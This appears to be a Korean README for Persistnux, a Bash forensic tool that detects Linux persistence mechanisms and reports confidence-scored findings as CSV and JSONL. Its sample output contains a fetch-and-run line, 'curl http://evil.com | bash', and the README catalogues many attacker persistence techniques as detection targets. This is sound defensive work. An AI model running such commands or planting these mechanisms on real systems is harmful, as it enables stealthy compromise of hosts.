
DFIR 조사를 위한 Bash 기반 Linux 지속성 탐지 도구. 15개 이상의 지속성 메커니즘(systemd, cron, 커널 모듈, SSH, 컨테이너)을 스캔하고 신뢰도 점수를 부여하며, 포렌식 분석을 위한 CSV/JSONL 보고서를 생성합니다.
디지털 포렌식 및 침해사고 대응(DFIR) 조사를 위한 포괄적인 Linux 지속성 탐지 도구입니다.
Persistnux는 공격자가 손상된 시스템에 접근을 유지하기 위해 사용하는 알려진 Linux 지속성 메커니즘을 식별하도록 설계된 bash 기반 도구입니다. 시스템 전반에 걸쳐 포괄적인 검사를 수행하고 추가 분석을 위해 CSV 및 JSONL 형식의 상세 보고서를 생성합니다.
/etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system 디렉토리의 서비스 파일(.service)/etc/crontab, /etc/cron.d/*)/etc/cron.{daily,hourly,weekly,monthly})/etc/cron.allow 및 /etc/cron.deny ACL 파일 — 존재하지 않는 사용자를 참조하는 항목 플래그/etc/profile, /etc/bash.bashrc, /etc/zshrc)/etc/profile.d/*).bashrc, .bash_profile, .zshrc, .profile 등)/etc/rc.local 및 변형/etc/init.d)/etc/rc*.d)/etc/ld.so.preload) — 나열된 각 라이브러리를 패키지 관리자를 통해 확인/etc/ld.so.conf, /etc/ld.so.conf.d/) — 구성 파일 무결성 확인 + 비표준 경로 .so 파일 스캔 및 확인/etc/environment LD_PRELOAD/LD_LIBRARY_PATH — 환경 파일이 HIGH로 플래그 지정됨; 참조된 라이브러리 경로 확인(비관리/수정 → CRITICAL)/etc/modprobe.d/, /etc/modprobe.conf) — 파일 무결성 확인; install 지시문 분석하여 의심스러운 명령 대상 확인; 보안 모듈(apparmor, selinux, seccomp)의 blacklist는 HIGH로 플래그 지정/etc/modules, /etc/modules-load.d/) — 구성 무결성 확인; 참조된 모듈 이름을 modinfo를 통해 .ko 파일로 확인 및 검증lsmod) — 열거 및 무결성 확인.config/autostart, /etc/xdg/autostart) — 루트일 때 모든 사용자 홈 디렉토리 스캔/etc/environment) — LD_PRELOAD/LD_LIBRARY_PATH 라이브러리 경로 확인/etc/sudoers, /etc/sudoers.d/) — NOPASSWD/ALL 패턴 → HIGH.so 모듈을 패키지 관리자로 확인; @include 지시문 추적; /etc/pam.conf 포함pam_exec.so 스크립트 분석 — 누락/의심스러운 스크립트 → CRITICALpam_python.so / pam_perl.so 중계 탐지 — 스크립트 추출 및 분석/etc/security/ 에서 pam_script.so 후크 파일 탐지pam_env.conf 및 ~/.pam_environment LD_PRELOAD 라이브러리 확인/etc/security/ 일반 스캔/etc/update-motd.d/) — 패키지 확인; 수정 → CRITICAL~/.ssh/authorized_keys — 최근 수정된 키 플래그; command= 옵션 내용 분석하여 의심스러운 패턴 탐지~/.ssh/rc — 존재 시 MEDIUM 플래그; 의심스러운/리버스 셸 내용 → HIGH/CRITICALdpkg -V, RHEL/CentOS: rpm -Va)/usr/bin, /usr/sbin, /bin, /sbin 내 수정된 파일 → CRITICAL 발견/lib/security 내 수정된 PAM 모듈 → CRITICAL 발견init= 커널 매개변수 삽입(/etc/default/grub, /etc/default/grub.d/*.cfg)/ 에 드롭된 init 스크립트/sysroot/etc/shadow 에 쓰는 pre-pivot 훅이 있는 Dracut initramfs 모듈/etc/initramfs-tools/scripts/ 및 /hooks/ 에 있는 Ubuntu initramfs-tools 훅 스크립트/boot/initrd.img-* 이미지(mtime 기반)ResultAny/ResultInactive/ResultActive=yes 가 있는 .pkla 파일unix-user:*) 부여polkit.Result.YES 가 있는 .rules 파일(JavaScript 기반 Polkit >= 0.106)Exec= 등록(/usr/share/dbus-1/system-services/)allow own="*" 또는 send_destination="*" 지시문/etc/NetworkManager/dispatcher.d/)RUN+= 지시문(/etc/udev/rules.d/, /lib/udev/rules.d/)/run/udev/rules.d/ 에 런타임 주입된 규칙RUN+= 내 at/cron 위임 패턴(일반적인 포그라운드 제한 우회)--privileged, --pid=host)docker.sock 바인드 마운트(Docker API를 통한 전체 호스트 제어)nsenter -t 1getcap 을 통한 파일 캐퍼빌리티 스캔 — GTFOBins 에서 cap_setuid+ep → CRITICAL.original, .old, .bak, .real)이 있는 바이너리 하이재킹/etc/passwd 에서 UID 0인 비루트 계정/etc/passwd 셸 필드의 후행 공백을 통한 셸 마스킹authorized_keys 파일이 있는 시스템 계정(UID 1-999)# 저장소 복제
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# 스크립트에 실행 권한 부여
chmod +x persistnux.sh
# 기본 설정으로 실행 (의심스러운 결과만 표시)
sudo ./persistnux.sh
# 도움말 및 모든 옵션 표시
./persistnux.sh --help
# 일반 사용자로 실행 (범위 제한)
./persistnux.sh
기본적으로 Persistnux는 노이즈를 줄이고 실행 가능한 위협에 집중하기 위해 의심스러운 결과만 (MEDIUM, HIGH, CRITICAL 신뢰도) 표시합니다.
# 기본값: 의심스러운 결과만 표시
sudo ./persistnux.sh
# 전체 결과 표시 (LOW 신뢰도 포함)
sudo ./persistnux.sh --all
# 또는
sudo FILTER_MODE=all ./persistnux.sh
# HIGH 및 CRITICAL 신뢰도 결과만 표시
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# 필터 결합: HIGH 신뢰도만
sudo ./persistnux.sh --min-confidence HIGH
# 사용자 정의 출력 디렉토리 지정
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# 필터링과 결합
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
기본적으로 Persistnux는 ./persistnux_output/ 디렉토리를 생성하며 다음 파일을 포함합니다:
persistnux_<hostname>_<timestamp>.csv - CSV 형식 보고서persistnux_<hostname>_<timestamp>.jsonl - JSONL 형식 보고서 (줄당 하나의 JSON 객체)persistnux_<hostname>_<timestamp>_report.txt - 사람이 읽을 수 있는 요약 보고서 (결과 개수 및 스캔 메타데이터 포함)timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
suspicious_script_content, modified_package, unmanaged_binary)Persistnux는 오탐지를 줄이기 위해 지능적인 신뢰도 점수를 사용합니다:
Persistnux는 이제 오탐지를 줄이기 위한 여러 기능을 포함합니다:
dpkg (Debian/Ubuntu) 또는 rpm (RedHat/CentOS)으로 관리되는 파일은 더 낮은 신뢰도 점수를 받습니다.Persistnux는 다음을 감지할 때 자동으로 항목에 더 높은 신뢰도를 부여합니다: